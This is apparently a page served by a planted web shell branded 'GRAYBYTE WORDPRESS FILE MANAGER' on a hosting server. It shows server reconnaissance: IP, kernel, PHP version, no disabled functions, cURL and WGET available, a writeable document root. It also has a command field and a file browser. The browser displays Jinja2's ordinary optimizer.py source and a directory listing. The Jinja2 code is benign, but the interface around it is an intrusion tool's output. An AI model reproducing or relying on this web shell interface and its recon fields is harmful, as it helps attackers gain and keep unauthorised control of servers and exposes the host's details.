GRAYBYTE WORDPRESS FILE MANAGER9232

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/jinja2/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/jinja2//optimizer.py
"""The optimizer tries to constant fold expressions and modify the AST
in place so that it should be faster to evaluate.

Because the AST does not contain all the scoping information and the
compiler has to find that out, we cannot do all the optimizations we
want. For example, loop unrolling doesn't work because unrolled loops
would have a different scope. The solution would be a second syntax tree
that stored the scoping rules.
"""
import typing as t

from . import nodes
from .visitor import NodeTransformer

if t.TYPE_CHECKING:
    from .environment import Environment


def optimize(node: nodes.Node, environment: "Environment") -> nodes.Node:
    """The context hint can be used to perform an static optimization
    based on the context given."""
    optimizer = Optimizer(environment)
    return t.cast(nodes.Node, optimizer.visit(node))


class Optimizer(NodeTransformer):
    def __init__(self, environment: "t.Optional[Environment]") -> None:
        self.environment = environment

    def generic_visit(
        self, node: nodes.Node, *args: t.Any, **kwargs: t.Any
    ) -> nodes.Node:
        node = super().generic_visit(node, *args, **kwargs)

        # Do constant folding. Some other nodes besides Expr have
        # as_const, but folding them causes errors later on.
        if isinstance(node, nodes.Expr):
            try:
                return nodes.Const.from_untrusted(
                    node.as_const(args[0] if args else None),
                    lineno=node.lineno,
                    environment=self.environment,
                )
            except nodes.Impossible:
                pass

        return node

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 25 2025 08:31:36
root / root
0755
__pycache__
--
May 15 2025 08:30:38
root / root
0755
__init__.py
2.153 KB
April 17 2025 13:10:59
root / root
0644
_identifier.py
1.733 KB
April 17 2025 13:10:59
root / root
0644
async_utils.py
1.901 KB
April 17 2025 13:10:59
root / root
0644
bccache.py
12.373 KB
April 17 2025 13:10:59
root / root
0644
compiler.py
70.517 KB
April 17 2025 13:10:59
root / root
0644
constants.py
1.399 KB
April 17 2025 13:10:59
root / root
0644
debug.py
8.295 KB
April 17 2025 13:10:59
root / root
0644
defaults.py
1.237 KB
April 17 2025 13:10:59
root / root
0644
environment.py
59.554 KB
April 17 2025 13:10:59
root / root
0644
exceptions.py
4.952 KB
April 17 2025 13:10:59
root / root
0644
ext.py
31.369 KB
April 17 2025 13:10:59
root / root
0644
filters.py
51.376 KB
April 17 2025 13:10:59
root / root
0644
idtracking.py
10.47 KB
April 17 2025 13:10:59
root / root
0644
lexer.py
29.229 KB
April 17 2025 13:10:59
root / root
0644
loaders.py
22.221 KB
April 17 2025 13:10:59
root / root
0644
meta.py
4.293 KB
April 17 2025 13:10:59
root / root
0644
nativetypes.py
3.876 KB
April 17 2025 13:10:59
root / root
0644
nodes.py
33.74 KB
April 17 2025 13:10:59
root / root
0644
optimizer.py
1.611 KB
April 17 2025 13:10:59
root / root
0644
parser.py
38.835 KB
April 17 2025 13:10:59
root / root
0644
py.typed
0 KB
April 17 2025 13:10:59
root / root
0644
runtime.py
34.232 KB
April 17 2025 13:10:59
root / root
0644
sandbox.py
14.258 KB
April 17 2025 13:10:59
root / root
0644
tests.py
5.767 KB
April 17 2025 13:10:59
root / root
0644
utils.py
26.339 KB
April 17 2025 13:10:59
root / root
0644
visitor.py
3.488 KB
April 17 2025 13:10:59
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF